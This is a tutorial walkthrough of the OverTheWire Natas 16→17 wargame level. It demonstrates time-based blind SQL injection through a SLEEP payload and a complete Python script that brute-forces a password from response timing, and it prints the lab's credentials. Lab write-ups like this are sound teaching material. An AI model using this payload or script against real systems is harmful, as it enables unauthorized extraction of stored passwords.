OverTheWire Natas Level 16 → 17 tutorial!!
Login
URL: http://natas17.natas.labs.overthewire.org
Credentials: natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
# Using curl (optional):
curl -u natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
http://natas17.natas.labs.overthewire.org/
Task
This level is another blind SQL injection, but the page prints no message at all. So we can’t check content — we must use timing (response delay) to tell true/false.
A little bit of Theory
Relevant logic (simplified):
if (array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost','natas17','<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
$res = mysql_query($query, $link);
// No success/fail text is echoed
}
Because output is the same in both cases, we inject a condition that makes MySQL sleep when true:
natas18" AND password LIKE BINARY "<prefix>%" AND SLEEP(5)--
If <prefix>
is correct so far ⇒ the query sleeps ~5s (slow response).
If not ⇒ returns immediately (fast).
Solution
Step 1: Craft the injection
We’ll probe with LIKE BINARY "<prefix>%"
so the check is case-sensitive.
natas18" AND password LIKE BINARY "<prefix>%" AND SLEEP(5)--
Step 2: Automate with Python (robust timing)
import requests, time, sys
from string import ascii_lowercase, ascii_uppercase, digits
URL = "http://natas17.natas.labs.overthewire.org/"
AUTH = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
CHARSET = ascii_lowercase + ascii_uppercase + digits
SLEEP_SEC = 5 # what we ask MySQL to sleep
THRESHOLD = 2.5 # treat responses slower than this as TRUE
TIMEOUT = 8
s = requests.Session()
s.auth = AUTH
password = ""
while len(password) < 32:
for ch in CHARSET:
prefix = password + ch
payload = {
"username": f'natas18" AND password LIKE BINARY "{prefix}%" AND SLEEP({SLEEP_SEC})-- '
}
t0 = time.perf_counter()
try:
r = s.post(URL, data=payload, timeout=TIMEOUT)
except requests.Timeout:
# definite sleep ⇒ TRUE
sys.stdout.write(ch); sys.stdout.flush()
password += ch
break
dt = time.perf_counter() - t0
if dt > THRESHOLD:
sys.stdout.write(ch); sys.stdout.flush()
password += ch
break
print("\nRecovered password:", password)
Notes:
- If your network is noisy, raise
SLEEP_SEC
(5–7) andTIMEOUT
(10–12). - If you see false positives, bump
THRESHOLD
slightly (e.g., 3.0–3.5). BINARY
keeps comparisons case-sensitive.
Password
Found on my run:
6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ
Use this to log in to natas18.
Troubleshooting
- Always fast responses? → Your injection may be malformed. Ensure quotes and
--
(with a trailing space) are present. - Random slow spikes? → Increase
SLEEP_SEC
andTHRESHOLD
, or sample each char multiple times and take the majority. - Script halts mid-run? → Just re-run; already discovered prefix is printed immediately, so it resumes fast.
Boom 🎉 You just executed a time-based blind SQL injection and extracted the next password. On to natas18!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨